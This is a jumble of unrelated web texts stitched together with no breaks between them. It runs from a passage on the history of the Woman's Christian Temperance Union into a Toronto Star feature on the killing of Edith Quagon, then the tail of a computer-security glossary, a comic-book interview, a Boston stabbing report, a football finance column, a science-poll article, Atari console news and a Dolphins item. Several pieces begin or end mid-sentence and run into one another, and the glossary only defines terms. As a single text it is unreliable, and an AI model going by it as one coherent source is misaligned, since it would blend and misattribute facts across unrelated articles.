For Scovell and the women of the Minnesota WCTU, speaking English and participating in established American institutions were essential to truly become "American" just as abstaining from alcohol was necessary to be virtuous. By linking language to culture and institutions, Scovell and the WCTU recognized that a multicultural approach would be necessary to communicate values to new immigrants, but did not conclude that multiculturalism was a value in itself. The WCTU viewed the foreign European cultures as a corrupter and despoiler of virtue, hence the excessive drinking. That is ultimately why it was paramount the immigrants learned English and assimilated.[citation needed]
Prohibition [ edit ]
Over the years, different prohibition and suffrage activists had suspected that brewer associations gave money to anti-suffrage activities. In 1919, there was a Senate investigation that confirmed their suspicions. Some members of the United States Brewers Association were openly against the woman's suffrage movement. One member stated, "We have defeated woman's suffrage at three different times."[13]
Although the WCTU was an explicitly religious organization and worked with religious groups in social reform, it protested wine use in religious ceremonies. During an Episcopal convention, it asked the church to stop using wine in its ceremonies and to use unfermented grape juice instead. A WCTU direct resolution explained its reasoning: wine contained "the narcotic poison, alcohol, which cannot truly represent the blood of Christ."[14]
The WCTU also favored banning tobacco. In 1919, the WCTU expressed to Congress its desire for the total abolition of tobacco within five years.[15]
Under Willard, the WCTU supported the White Life for Two program. Under this program, men would reach women's higher moral standing (and thus become woman's equal) by engaging in lust-free, alcohol-free, tobacco-free marriages. At the time, the organization also fought to ban alcohol use on military bases, in Indian reservations, and within Washington's institutions.[16] Ultimately, Willard succeeded in increasing the political clout of the organization because, unlike Annie Wittenmyer, she strongly believed that the success of the organization would only be achieved through the increased politicization of its platform.[citation needed]
Reach of the Woman's Christian Temperance Movement [ edit ]
In the United States, the WCTU was divided along ideological lines. The first president of the organization, Annie Wittenmyer, believed in the singleness of purpose of the organization—that is, that it should not put efforts into woman suffrage, prohibition, etc.[17] This wing of the WCTU was more concerned with how morality played a role during the temperance movement. With that in mind, it sought to save those whom they believed to be of lower moral character. For them, the alcohol problem was one of moral nature and was not caused by the institutions that facilitated access to alcohol.[citation needed]
Women of the WCTU at a meeting, 1924
WCTU display booth at the Canadian National Exhibition in Toronto, 1945
The second president of the WCTU, Frances Willard, demonstrated a sharp distinction from Wittenmyer. Willard had a much broader interpretation of the social problems at hand. She believed in "a living wage; in an eight-hour day; in courts of conciliation and arbitration; in justice as opposed to greed in gain; in Peace on Earth and Good-Will to Men."[18] This division illustrated two of the ideologies present in the organization at the time, conservatism and progressivism. To some extent, the Eastern Wing of the WCTU supported Wittenmyer and the Western Wing had a tendency to support the more progressive Willard view.[citation needed]
Membership within the WCTU grew greatly every decade until the 1940s.[19] By the 1920s, it was in more than forty countries and had more than 766,000 members paying dues at its peak in 1927.[1]
Years Membership 1881 22,800 1891 138,377 1901 158,477 1911 245,299 1921 344,892 1931 372,355 1941 216,843 1951 257,540 1961 250,000 [20] 1989 50,000 (worldwide)[21] 2009 20,000 [22] 2012 5,000 [23]
Classification of WCTU Committee Reports by Period and Interests[24]
Period Humanitarian Reform Moral Reform Temperance Other N 1879–1903 78.6 23.5 26.5 15.3 98 1904–1928 45.7 30.7 33.1 18.0 127 1929–1949 125.8 37.0 48.2 1.2 81
Source:Sample of every fifth Annual Report of the WCTU
Percentages total more than 100 percent due to several interests in some committee reports.
Frances Willard was president of the Woman's Christian Temperance Union for 19 years.
Frances Willard [ edit ]
In 1874 Willard was elected the new secretary of the WCTU. Five years later, in 1879, she became its president. Willard also started her own organization, called the World's Women Christian Temperance Union, in 1883.[25]
After becoming WCTU's president, Willard broadened the views of the group by including woman's rights reforms, abstinence, and education. As its president for 19 years, she focused on moral reform of prostitutes and prison reform as well as woman's suffrage. With the passage of the 19th Amendment in 1920, Willard's predictions that women voters "would come into government and purify it, into politics and cleanse the Stygian pool" could be tested.[26] Frances Willard died in February 1898 at the age of 58 in New York City. A plaque commemorating Willard's election to president of the WCTU in 1879 by Lorado Taft is in the Indiana Statehouse, Indianapolis, Indiana.[27]
Matilda Bradley Carse [ edit ]
Matilda B. Carse became an activist after her son was killed in 1874 by a drunk wagon driver. She joined the Chicago Central Christian Woman's Temperance Union to try to eliminate alcohol consumption. In 1878 she became the president of the Chicago Central Christian Woman's Temperance Union, and in 1880 she helped organize the Woman's Temperance Publishing Association, selling the stock to rich women. That same year she also started The Signal; three years later it merged with another newspaper to become The Union Signal.[28]
It became the most important woman's newspaper and soon sold more copies than any other newspaper. During her time as president, Carse founded many charities and managed to raise approximately $60,000,000 a year to support them. She started the Bethesda Day Nursery for working mothers, two kindergarten schools, the Anchorage Mission for erring girls, two dispensaries, two industrial schools, an employment bureau, Sunday schools, and temperance reading rooms.[28]
The World's WCTU [ edit ]
The World's WCTU (WWCTU) is one of the most prominent examples of internationalism, evidenced by the circulation of the Union Signal around the globe; the International Conventions that were held with the purpose of focusing "world attention on the temperance and women's questions,[29] and the appointment of "round-the-world missionaries." Examples of international Conventions include the one in 1893 scheduled to coincide with the Chicago World's Fair; the London Convention in 1895; the 1897 one in Toronto; and the Glasgow one in 1910. The first six round-the-world missionaries were Mary C. Leavitt, Jessie Ackermann, Alice Palmer, Mary Allen West, Elizabeth Wheeler Andrew, and Dr Katharine Bushnell.[30]
The ambition, reach and organizational effort involved in the work undertaken by the World's WCTU leave it open to cynical criticism in the 21st century, but there is little doubt that at the end of the 19th century, "they did believe earnestly in the efficacy of women's temperance as a means for uplifting their sex and transforming the hierarchical relations of gender apparent across a wide range of cultures."[31]
First Alberta Provincial WCTU convention, 1913, Olds, Alberta
New Zealand [ edit ]
Led by Kate Sheppard from 1887, the New Zealand WCTU was a major force behind the campaign for women's suffrage. This resulted in New Zealand women being granted universal suffrage in 1893.[32] Lily May Atkinson was another significant member.[citation needed]
Canada [ edit ]
The WCTU formed in Canada in 1874, in Owen Sound, Ontario.[33] In 1885 Letitia Youmans founded an organization which was to become the leading women's society in the national temperance movement. One notable member was Edith Archibald of Nova Scotia. Notable Canadian feminist Nellie McClung was also involved.[citation needed]
India [ edit ]
The WCTU formed in India was formed in the 1880s.[34] It publishes Temperance Record and White Ribbon, remaining very active today.[35]
Australia [ edit ]
The WCTU began in Australia following visits from Jessie Ackermann in 1889 and 1891; a number of other Christian Temperance and Abstinence Societies existed throughout Australia before that time.[36] Jessie Ackermann acted as the round the world missionary for the American-based World's WCTU, and became the inaugural president of the federated Australasian WCTU, Australia's largest women's reform group.[37] They were active in the struggle for the extension of the franchise to women through promoting suffrage societies, collecting signatures for petitions and lobbying members of parliament. (See, for example, Women's suffrage in Australia.) After visiting New Zealand, Miss Ackermann came to Hobart in May 1889,[38][39] then toured the mainland for almost 12 months, stopping in Adelaide, Port Augusta, Clare, Kapunda and Burra in June to August,[40][41][42] Mount Gambier, Brisbane, Sydney, and Bathurst. She returned for a further visit, including Melbourne in 1891.[citation needed]
In Victoria, weekly temperance conferences were held at the East Melbourne home of Margaret McLean,[43] a founding member and coordinator of the Melbourne branch of the WCTU of Victoria; she was president of the organisation for two periods, 1892–93 and 1899–1907.[44][45]
Sweden [ edit ]
The Swedish WCTU, known as Vita Bandet (White Ribbon) was founded by Emilie Rathou in Östermalm in Stockholm in 1900.[46] Rathou was a leading member of the International Organisation of Good Templars, and the pioneer for organizing the WCTU and its local branches in Sweden.[46]
Woman's Temperance Publishing Association [ edit ]
The Woman's Temperance Publishing Association was started in Indianapolis by Wallace but thought up by Matilda B. Carse. They thought there was a need for a weekly temperance paper for women of color. The creators wanted the first board of directors to be seven women who had the same vision as Carse.[47]
Exterior of the National WCTU headquarters, a building on the national register of historic places.
Current status [ edit ]
The WCTU remains an internationally active organization.[48] In American culture, although "temperance norms have lost a great deal of their power"[19] and there are far fewer dry communities today than before ratification of the Eighteenth Amendment, there is still at least one WCTU chapter in almost every U.S. state and in 36 other countries around the world.[49]
Requirements for joining the WCTU include paying membership dues and signing a pledge to abstain from alcohol. The pledge of the Southern Californian WCTU, for example, is "I hereby solemnly promise, God helping me, to abstain from all distilled, fermented, and malt liquors, including beer, wine, and hard cider, and to employ all proper means to discourage the use of and traffic in the same."[50] Current issues for the WCTU include alcohol, which the organization considers to be North America's number one drug problem, as well as illegal drugs, and abortion.[51] The WCTU has warned against the dangers of tobacco since 1875. They continue to this day in their fight against those substances they see as harmful to society.[citation needed]
The WCTU quarterly journal titled The Union Signal, last edition was published in 2015, the main focus of which was current research and information on drugs.[52] Other national organizations also continue to publish.[53]
The WCTU also attempts to encourage young people to avoid substance abuse through participation in three age-divided suborganizations: White Ribbon Recruits for pre-schoolers, the Loyal Temperance Legion (LTL) for elementary school children, and the Youth Temperance Council (YTC) for teenagers.[citation needed]
The White Ribbon Recruits are mothers who will publicly declare their dedication to keeping their babies drug-free. To do this, they participate in the White Ribbon Ceremony, but their children must be under six years of age. The mother pledges "I promise to teach my child the principles of total abstinence and purity", and the child gets a white ribbon tied to its wrist.[54]
The Loyal Temperance Legion (LTL), is another temperance group aimed at children. It is for children aged six to twelve who are willing to pay dues annually to the LTL. Its motto is "That I may give my best service to home and country, I promise, God helping me, Not to buy, drink, sell, or give Alcoholic liquors while I live. From other drugs and tobacco I'll abstain, And never take God's name in vain."[55]
The Youth Temperance Council is the final type of group meant for youths and is aimed at teenagers. Its pledge is "I promise, by the help of God, never to use alcoholic beverages, other narcotics, or tobacco, and to encourage everyone else to do the same, fulfilling the command, 'keep thyself pure'."[56]
Conventions [ edit ]
1874, Cleveland, Ohio 1875, Cincinnati, Ohio 1876, Newark, New Jersey 1877, Chicago, Illinois 1878, Baltimore, Maryland 1879, Indianapolis, Indiana 1880, Boston, Massachusetts 1881, Washington, D.C. 1882, Louisville, Kentucky 1883, Detroit, Michigan 1884, St. Louis, Missouri 1885, Philadelphia, Pennsylvania 1886, Minneapolis, Minnesota 1887, Nashville, Tennessee 1888, New York, New York 1889, Chicago, Illinois 1890, Atlanta, Georgia 1891, Boston, Massachusetts 1892, Denver, Colorado 1893, Chicago, Illinois 1894, Cleveland, Ohio 1895, Baltimore, Maryland 1896, St. Louis, Missouri 1897, Buffalo, New York 1898, St. Paul, Minnesota 1899, Seattle, Washington 1900, Washington, D.C. 1901, Fort Worth, Texas 1902, Portland, Maine 1903, Cincinnati, Ohio 1904, Philadelphia, Pennsylvania 1905, Los Angeles, California 1906, Hartford, Connecticut 1907, Nashville, Tennessee 1908, Denver, Colorado 1909, Omaha, Nebraska 1910, Baltimore, Maryland 1911, Milwaukee, Wisconsin 1912, Portland, Oregon 1913, Asbury Park, New Jersey 1914, Atlanta, Georgia 1915, Seattle, Washington 1916, Indianapolis, Indiana 1917, Washington, D. C. 1918, St. Louis, Missouri 1919, St. Louis, Missouri 1920, Washington, D.C. 1921, San Francisco, California 1922, Philadelphia, Pennsylvania 1923, Columbus, Ohio 1924, 1925, Detroit, Michigan 1926, 1927, 1928, Boston, Massachusetts
Presidents [ edit ]
The presidents of the WCTU and their terms of office are:[57]
Notable people [ edit ]
See also [ edit ]
References [ edit ]
Bibliography [ edit ]
Constitution, by-laws, and order of business of the Women's Christian Temperance Union. Toronto. 1876.
Chapin, Clara Christiana Morgan. (1895) Thumb Nail Sketches of White Ribbon Women: Official. Woman's Temperance Publishing Association: Evanston.
. Woman's Temperance Publishing Association: Evanston. Graw, Jacob Bentley. (1892) Life of Mrs. S.J.C. Downs; Or, Ten Years at the Head of the Woman's Christian Temperance Union of New Jersey: Or, Ten Years at the Head of the Woman's Christian Temperance Union of New Jersey. Gazette.
. Gazette. Gusfield, Joseph R (1955). "Social Structure and Moral Reform: A Study of the Woman's Christian Temperance Union". The American Journal of Sociology. 61 (3): 221–232. doi:10.1086/221733.
Tyrrell, Ian. (1991) Woman's World/Woman's Empire: The Woman's Christian Temperance Union in International Perspective 1880-1930, The University of Carolina Press, Chapel Hill and London. ISBN 0-8078-1950-6
The University of Carolina Press, Chapel Hill and London. ISBN 0-8078-1950-6 Tyrrell, Ian. (2010) Reforming the World: the creation of America's moral Empire, Princeton University Press, Princeton and Oxford. ISBN 978-0-691-14521-1
Princeton University Press, Princeton and Oxford. ISBN 978-0-691-14521-1 Woman's Christian Temperance Union Dept. of Scientific Instruction A History of the First Decade of the Department of Scientific Temperance Instruction in Schools and Colleges of the Woman's Christian Temperance Union: In Three Parts. (1892) Published by G.E. Crosby & Co.1,200. A number almost incomprehensible without names and faces or some way to register the suffering and loss. There are partial lists online. Hundreds of names and some photos. But the information is ephemeral, scrolling into view and then gone. The next name and then the next. There have been calls for an inquiry, hashtags, political slogans, but still nothing to really grasp and pull close.
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The Star built its own database of murdered and missing aboriginal women in an attempt to attach as many details to the 1,200 cases as possible. This allowed us to plot points on a map, a bird’s-eye view of the destruction, but little else. One Ontario family has offered a toehold, welcoming the Star into their homes and improbable past. Three Sisters is about a family ripped apart by violence and then brought together by a search for answers. When first approached by the Star, the sisters’ surviving children and relatives did not know how Kathleen McGinnis died or where. Why Sarah Mason was stabbed. Or whether Edith Quagon’s killer was caught and punished.
The Star wanted to find the answers, and the family agreed that it was time to try. “She was taken,” said Janice Henderson, one of Edith Quagon’s daughters and the chief of Mitaanjigamiing First Nation. “I don’t want her to be forgotten.” Beneath the monotonous tolling of the 1,200, Three Sisters is just one of the stories tucked away in police and court files and in the memories of those left behind. Edith Quagon: ‘A hard life’
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On Nov. 13, 1978, close to midnight, the police officer pulled the hatch and pointed the flashlight down the basement staircase. At the bottom, the decomposing body was dressed in a blue jacket and black shoes. The half-nude woman lay face down on an old mattress surrounded by broken glass, an abandoned stove, a bloodstained kitchen countertop and a smoky-brown pair of eyeglasses. The man from the medical examiner’s office rolled the woman over and found two stab wounds, each a half-inch wide. Edith Lucille Quagon, her death certificate said, was 43 years old and from Manitou Reserve, Ontario.
One of only a handful of childhood photos of Edith Quagon, from her residential school.
Known then as Manitou Rapids, it is where Quagon — listed as “Pagan” in her Indian birth record — and her younger sisters Kathleen and Sarah were raised by fur trappers. For the sisters’ children, and other surviving relatives, maybe the passage of time had muddied memories. Or their forced adoptions had broken family connections and the chains of reliable information. They have only a handful of photos of the sisters, including one of Edith in a residential school, her chunky eyeglasses atop a mischievous grin. Also, photocopies of her baptism and marriage certificates. At 21 years old, she wedded logger and trapper Allan Henderson. “I miss my mom. I have for a long time,” said Edith’s son James Henderson, a drum keeper for his reserve, Mitaanjigamiing First Nation, which is north of Fort Frances, Ont. “She grew up living a hard life, working in logging camps. Like one of the men, she was out there strip-cutting, throwing pulp wood around. She was outspoken. Didn’t take anything from anybody, and she backed up whatever she said. I worried about her because of that.” In January 1978, Janice Henderson, then a student in Peterborough, was nervous but excited for her upcoming trip to Minneapolis. She was hoping to reconnect with her mother, Edith. Henderson had not seen her for years, though she had snatches of childhood memories. “I remember she used to sing and hum. I remember being in her arms and she would brush my hair. I remember that really comforted me.” During the ’60s Scoop, an 8-year-old Henderson was taken by children’s services and forced into a foster home. James and sister Donna Marie were also taken.
Like her siblings, Donna Marie Anderson knew little about the death of her mother, Edith Quagon. ( Randy Risling )
“My mom said that things were hard for her, but she was able to at least find goodness in people. That stayed with me,” said James, who, after years of drinking and raging at his mother’s death, decided to honour her life by working to heal others as an addictions counsellor. Janice stayed with an uncle in Minneapolis that winter and planned to visit for a week. Edith called Janice that first day and said she would see her soon. The next day Janice got the same call. And the day after that. “She would say, ‘I’m afraid that you’re not going to like me.’” Separated from her husband, Quagon had moved to Minneapolis in the early 1970s. She lived with a man, was unemployed and drank. A tattoo on her shoulder read “Edith + Barnie.” By week’s end, two hours before Janice had to leave, Quagon showed up. “I was sitting in the living room. I was waiting for her to come and hug me,” recalled Janice, now the chief of Mitaanjigamiing, an Ojibwa reserve about 350 kilometres west of Thunder Bay. “Finally we did have a few words, but it was really nothing substantive. Then I had to leave. It wasn’t that moment that I wanted.” Janice returned to Peterborough, Edith to her apartment on the second floor of 818 S. 10th St. James Henderson recently drove to Minneapolis to visit friends. At the wheel of his pickup, he went through an underpass and felt his chest tighten and breath draw short. He realized he was near the intersection of S. 10th and E. 14th Sts.
"I miss my mom. I have for a long time," says James Henderson, a drum keeper for Mitaanjigamiing First Nation. He and his sisters were taken away from their mother, Edith Quagon, as children. ( Randy Risling/Toronto Star )
Filed in county court and Minneapolis police archives are the details of how and why Edith’s life ended there nearly 40 years ago. Crime scene descriptions, witness statements, the transcript of an apparent confession — none of this known to James or his siblings. Until the Star unearthed the documents, all Quagon’s children had heard was that a man had been arrested and a trial date set, that a strike by crime lab workers resulted in the case being dismissed and that no one went to prison. Donna Marie Anderson had known nothing more, though she had seen her mother’s name on a website dedicated to murdered and missing aboriginal women, the list reminding her of a roster of war dead. On a recent afternoon, Anderson, now 53 years old and living in Thunder Bay, began reading the newly obtained police file, then grabbed a blanket off her couch and wiped her eyes. “It reads like a nightmare,” Anderson said. “Is this real?” ‘Unknown Indian Female’ Det. Pat Hartigan sat and faced the suspect in the interrogation room. After some preliminaries — name, address, a brief discussion of the man’s decision to talk without his lawyer present — Hartigan asked Robert Timberlake, an unemployed 23-year-old, what happened to Edith Quagon. “I stuck out my knife …,” the suspect started, and Hartigan seemed about to solve the case. |
are sent in plain text within data packets and can easily be extracted.
PHISHING
The practice of sending out e-mail messages that look as if they come from a financial institution and which seek to trick people into handing over confidential details.
Often they direct people to another website that looks like that of the bank or financial institution the e-mail purports to have come from. Anyone handing over details could rapidly have their account plundered.
PORT
The virtual door that net-capable programs open to identify where the data they request from the net should be directed once it reaches a computer.
Web browsing traffic typically passes through port 80, e-mail through port 25.
ROOTS
A slang term for networks that have been hacked into by criminal hackers. Derives from the deep, or root, access that system administrators typically enjoy on a network or computer.
The login details to get root access are often sold to spammers and phishing gangs who then use these networks to send out millions of e-mail messages.
SCRIPT KIDDIE
An unskilled hacker who originates nothing but simply steals code, techniques and attack methods from others.
Many viruses and worms on the web today are simply patched together from other bits of code that malicious hackers share.
SPYWARE
Malicious program that, once installed on a target machine, steals personal and confidential information. Distinct from adware.
Spyware can be contracted many different ways. Increasingly it arrives on a PC via a web download. Often uses a keylogger to grab information. Some are now starting to record mouse movements in a bid to foil the latest security measures. Some fake security programs pose as spyware cleaners.
TCP
Abbreviation for Transmission Control Protocol - the series of specifications which define the format of data packets sent across the internet.
TROJAN
Like the wooden horse of legend this is a type of program or message that looks benign but conceals a malicious payload. Many of the attachments on virus-bearing e-mail messages carry trojans.
VIRUS
A malicious program - usually one that requires action to successfully infect a victim. For instance - the malicious programs inside e-mail attachments usually only strike if the recipient opens them.
Increasingly the word is used as a portmanteau term for all malicious programs - those that users must set off or those that find their own way around the net.
WHITEHAT
A hacker that uses his or her skills for positive ends and often to thwart malicious hackers.
Many whitehat security professionals spend their time looking for and closing the bugs in code that blackhats are keen to exploit.
WORM
Self-propelled malicious program that scours the web seeking new victims - in the past this has been used to distinguish it from a virus that requires user action to compromise a machine.
Worms can infect and take over computers without any help, bar lax security, from a victim.
ZERO DAY
A Zero day vulnerability is one on which code to exploit it appears on the first day that a loophole is announced.
As most of the damage done by exploiting bugs occurs in the first few days after they become public, software firms usually move quickly to patch zero day vulnerabilities.
ZOMBIE
Another name for a hijacked computer that is a member of a botnet.Mark your calendars. This October Brian Buccellato, Jennifer Young, and Matias Bergara have a new series coming out called Cannibal. If you're looking for some southern-gothic thrills this Halloween, Image Comics has you covered.
We asked Buccellato a few questions to find out more about this new series.
Comic Vine: What’s this book about?
Brian Buccellato: A small Everglades town is hit by a new virus that causes those it infects to crave human flesh. With no cure in sight, the region has become split over what to do with the victims. For the Hansen family the answer is simple: kill them. However all of that changes when the virus gets closer to those the family cares about most.
This is a story about a small Florida town dealing with the onset of a violent cannibal virus. Those infected are overcome with the desire to consume human flesh — it’s like an addiction with horrible withdrawals make them lose control. You can try to fight it, but everyone has a breaking point.
One major thing to note about these cannibals is that they are just like you and I. They feel remorse and guilt and they don’t actually want to eat you, but they must to survive - and thus a wedge is forced between someone that is carrying the virus and their everyday life, including work, family and friends. What do you do if someone you love has this virus? Do you turn them over to the police? Kill them? Put them out of their misery? Or do you help get them what they need to survive…and find them someone to eat?
Cannibal is an Allegory for addiction... a commentary on the over-medicalization of society and the stigma that is associated with disease, illness and the mob mentality that shuns them all.
How did you come up with the idea (and with who)?
This has been a passion project of Jennifer Young’s for several years. She is my SONS OF THE DEVIL editor, and she pitched me this world she’d been developing. I loved the concept and the twist on cannibals… and so we decided to co-write it as a comic series. You’ll have to interview her to get more details.
Is this a miniseries or ongoing?
The intention is for us to be an ongoing. But that said, we all know that creator owned comics is a tough racket. The economics will play a factor in how long the series runs, but the goal is to have a minimum of twelve issues. ISO I advise fans to buy the book in GINORMOUS numbers to ensure longevity.
Is it going to have a completely dark tone?
I don’t think so. There will be some moments of humor and LOTS of humanity in this book. This story is not built on gore and horrible things happening to people. At it’s core it’s about relationships and a community — dealing with what could become a pandemic.
Here's the official press release:
Image Comics is pleased to announce that New York Times bestselling author Brian Buccellato (SONS OF THE DEVIL, The Flash, Injustice), Jennifer Young, and artist Matias Bergara (Sons of Anarchy) are teaming up for a southern-gothic horror series set to launch this October. In CANNIBAL #1 a small Everglades town is hit by a new virus that causes those it infects to crave human flesh. But with no cure in sight, the region has become split over what to do with the victims. For the Hansen family the answer is simple: kill them. However all of that changes when the virus infects those the family cares about most. “It’s about a Florida town that is just trying to hold onto their everyday lives at the dawn of a cannibal epidemic,” said Young. “Told through the eyes of the Hansen family, it’s an anti-apocalypse story because mankind is too stubborn to give in. It’s a about family and community, and explores how people respond to the spread of deadly diseases.” “These cannibals are just like us. They feel remorse and guilt and don’t want to eat people,” added Buccellato. “But the virus manifests as an insurmountable addiction that builds up until they can’t control themselves. After they feed and sate their hunger, they must face the guilt and ramifications of their actions. At it’s heart, it’s an allegory for drug addiction.” Young continued: “In a world where your neighbor, your friend, your barber could suddenly try to eat you, this story is also about mankind’s resolve and deeply-ingrained desire to maintain the status quo—so deep that they will assimilate the idea of cannibals into their normal life.” This is the second collaboration by Buccellato, Young and Bergara, following the short story, “Jennifer” which appeared in SONS OF THE DEVIL, VOL. 1.
CANNIBAL #1 (Diamond Code AUG160575) will hit comic book stores on Wednesday, October 5th. The final order cutoff deadline for retailers is Monday, September 12th.Published time: 25 Sep, 2016 08:16 Edited time: 25 Sep, 2016 09:21
Six people have been stabbed in an attack on Tremont Street in Boston’s Theater District early Sunday, local media said. Police told media one suspect is still at large, while they may have apprehended a second one.
One victim was critically injured and is in emergency surgery, according to the Boston Globe.
Two suspects are reportedly at large, according to a notification sent to students at Emerson College. Students were urged to report any “suspicious activity.”
Police, however, told media they have one suspect in custody - the person was reportedly among those injured and “survived some wounds.” But they are still looking for the other one.
Boston Police Superintendent Bernard O’Rourke said the suspect fled in the direction of Charles Street South.
The attack took place at about 2am, with police arriving at the scene 15 minutes later. The area is home to a number of bars and clubs which close at 2am.
Police report some of the victims suffered knife wounds, while others appear to have been stabbed with bottles.
The stabbing is the latest in a series of violent attacks to hit the US over the past few days. Earlier on Sunday, as many as nine people were shot in the Champaign campus at the University of Illinois
In Baltimore on Saturday, at least eight people were shot, including a three year-old. Police believe three shooters were involved in the attack.
On Friday, Arcan Cetin fatally shot five people in a Burlington, Washington, mall with a rifle. He was arrested on Saturday.Ask Queens Park Rangers fans if they have heard of lex mitior and most would be forgiven for wondering how much the club were signing him for.
But although lex mitior is not the result of Harry Redknapp’s ‘wheeling and dealing’ in the transfer market, it may nevertheless emerge as an unlikely saviour for QPR before the end of the season.
Not in their battle against relegation from the Premier League, but in their fight to avoid paying the biggest Financial Fair Play fine ever levied.
Being hit by such a fine is a fate which surely awaits them if they comply with the Football League’s deadline of Dec 1 for submitting their accounts for last season, which are tipped to show losses in excess of £50 million.
Under the existing rules, that would see them face being docked in the region of £30 million, even more than Manchester City are likely to end up paying for breaching Uefa’s FFP rules.
QPR’s chairman, Tony Fernandes, made it clear when they were promoted that the club would mount a legal challenge to such a swingeing penalty - although it was hard to envisage how that could possibly succeed.
That was until last week.
By the narrowest of margins, last Thursday saw Championship clubs vote to scrap the FFP rules QPR are being judged under and introduce new, more lenient, regulations from the start of the 2016-17 season.
Instead of being fined for losses in excess of £8 million during a given year, teams will be allowed to lose up to £39 million over three years.
And any side promoted to the Premier League can add another £22 million to that figure for every season they spend outside the Championship.
The Football League made it clear the changes would not apply retrospectively and therefore would not reduce any fine imposed on QPR.
However, this is where lex mitior comes in.
Literally meaning ‘mildest law’, the Latin legal expression describes the principle under which sanctions are applied when legislation is in the process of being altered.
In essence, lex mitior gives a defendant the right to be judged under whichever of the existing or upcoming laws is the most lenient.
This principle has already been applied in sport, one example being breaches of the World Anti-Doping Agency Code, where cases can be assessed under the 2015 version in certain circumstances.
And Inside Sport has learnt that QPR’s legal team is ready to argue that they, too, should benefit from lex mitior because last week’s changes to the Championship’s rules were effectively an acknowledgment that the existing regulations are not fit for purpose.
Whether that reflects the actual view of the majority of the teams who voted is another matter.
For, it is only two-and-half years ago that the same division agreed to introduce the current rules by a margin of 21 to three. Soon after that came the shock 70 per cent increase in the Premier League television deal - which widened the financial gulf between the two divisions - as well as the introduction of very different FFP regulations in the top flight.
The incompatibility of those with the Championship’s rules made the harmonisation of the two systems inevitable and, as with most negotiations involving the Premier League and Football League, it was the latter which was forced to back down.
Legal threats from the likes of QPR, as well as Leicester City, Bolton Wanderers and Blackburn Rovers - clubs who may also now seek to exploit lex mitior - cranked up the pressure. But it was the fear of losing Premier League solidarity payments which ultimately convinced enough Championship clubs to fall into line and unwittingly open the door for a Rangers reprieve.
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Rugby World Cup meeting could pitch some ideas Wembley’s way
The timing of the first meeting of groundstaff from all 13 Rugby World Cup venues could hardly be more opportune.
Inside Sport has learnt that a conference will take place this weekend at Twickenham, during which experts from the 12 other stadia will shadow those at the home of rugby while they look after the pitch for England’s autumn international against South Africa.
At the same time, England’s footballers will be playing on what is feared will still be a bog of a surface during their European Championship qualifier against Slovenia.
That was after Wembley chiefs agreed to schedule an American football match there just six days before Saturday’s encounter, a decision that clearly irked England manager Roy Hodgson.
Hodgson will be even less amused if the pitch cuts up as badly next year, when Wembley stages two Rugby World Cup matches and a National Football League game for three successive weekends before his side’s Euro 2016 clash with Estonia.
Although Wembley’s managing director, Roger Maslin, insisted this week the current problems were the result of a botched summer renovation and not the NFL, the stadium’s ground-staff will doubtless welcome any tips on how to prevent a repeat.
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Blades website swiftly removes Charlie Webster
It did not take long for Sheffield United to remove Charlie Webster from their list of Community Foundation patrons on their official website following her resignation over the Ched Evans saga.
Sky Sports News presenter Webster had been the only female on a list that still includes actor Sean Bean, singer Paul Heaton and snooker player Ding Junhui.
The same webpage was on Wednesday still proudly displaying a photo of the Jessica Ennis Stand, renamed in honour of London 2012’s golden girl.
The since-married Ennis-Hill’s representatives were silent on Wednesday night about the Olympic heptathlon champion’s views on Evans’s possible return to the club.A recent poll brings bad news for those who trust in scientific consensus: over half of Americans doubt the Big Bang theory of the inception of the universe, and about four out of ten doubt evolution, that the Earth is 4.5 billion years old, and that humans exacerbate global warming, despite overwhelming evidence for all four.
"Science ignorance is pervasive in our society," said 2013 Nobel Prize in medicine winner Randy Schekman of the University of California at Berkeley, "and these attitudes are reinforced when some of our leaders are openly antagonistic to established facts."
Schekman was quoted in a press release announcing the AP-GfK poll [PDF], which surveyed 1,012 American adults 18 or older in late March, and reports a margin of error of plus or minus 3.4 per cent at a 95 per cent confidence level.
The survey methodology was rather straightforward. Survey participants, chosen to represent a cross-section of Americans, were presented with a series of statements such as "Overusing antibiotics causes the development of drug-resistant bacteria," and asked to express their confidence in those statements' accuracy.
Few Americans doubt that smoking causes cancer. Big Bang? Not so much (click to enlarge)
As might have been predicted, "Political values were closely tied to views on science in the poll," the AP-GfK reports, "with Democrats more apt than Republicans to express confidence in evolution, the Big Bang, the age of the Earth and climate change."
Religious beliefs also correlate with attitudes towards scientific consensus. The more firm a respondent's belief in a supreme being, the poll reports, the less likely they are to have confidence in evolution, the Big Bang, the age of the Earth, and human-influenced climate change.
Unsurprisingly, the poll found that "those who regularly attend religious services or are evangelical Christians express much greater doubts about scientific concepts they may see as contradictory to their faith."
"When you are putting up facts against faith, facts can't argue against faith," said 2012 Nobel Prize winning biochemistry professor Robert Lefkowitz of Duke University.
Lefkowitz also cited "the force of concerted campaigns to discredit scientific fact" as even more powerful than personal faith or even personal experience, speculating that political, business, and religious groups may have a strong effect on a lack of public confidence in scientific consensus on such matters as vaccines, climate change, and evolution.
Anthony Leiserowitz, director of the Yale Project on Climate Change Communication, agreed with Lefkowitz that such campaigns are a challenge, but suggested that they could be overcome with sufficient public pushback, as was done with smoking and its link to cancer.
"That gives Leiserowitz hope for a greater public acceptance of climate change," the AP-GfK reports, "but he fears it may be too late to do anything about it." ®Video game company Atari helped define the electronic entertainment industry from the 1970s to the mid-1980s with its iconic products such as Pong and the Atari 2600, but it hasn’t created a gaming console in over 20 years.
Now, current CEO of Atari, Fred Chesnais, recently shared in an interview with GamesBeat during E3 2017, that the company is finally delving back into the gaming division by creating a new console.
“We’re back in the hardware business,” he said.
Atari teased a new product called the “Ataribox” last week through a non-Atari website, however, many people believed it to be false, although, little did they know that the video was showcasing a “brand new Atari product years in the making.”
With the console reportedly based on PC tech, Fred Chesnais also expressed that the console’s design is still in its infancy and the official reveal will be announced at a later date.
It’s been a long time coming, and yes it is official, and it is very real. Go to https://t.co/jakv7LwjzL today & sign up to know more #atari pic.twitter.com/lF1Cgzzk1g — atari (@atari) June 14, 2017
In other gaming news, Microsoft has unveiled the most powerful console ever with the Xbox One X.
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Words by Renz Ofiaza Staff Writer Renz Ofiaza is a Staff Writer at Highsnobiety and based in Brooklyn.DAVIE, Fla. -- When you're the No. 3 overall pick in the NFL draft, major expectations are thrust upon you to immediately make an impact.
That is one of the challenges facing Miami Dolphins rookie defensive end Dion Jordan. But another hurdle is to not rush back to prove himself following offseason shoulder surgery.
Jordan partially participated Friday in the opening of Miami's three-day rookie mini-camp. Miami's first-round pick took part in drills but not in team scrimmages. Jordan recently had shoulder surgery on Feb. 28.
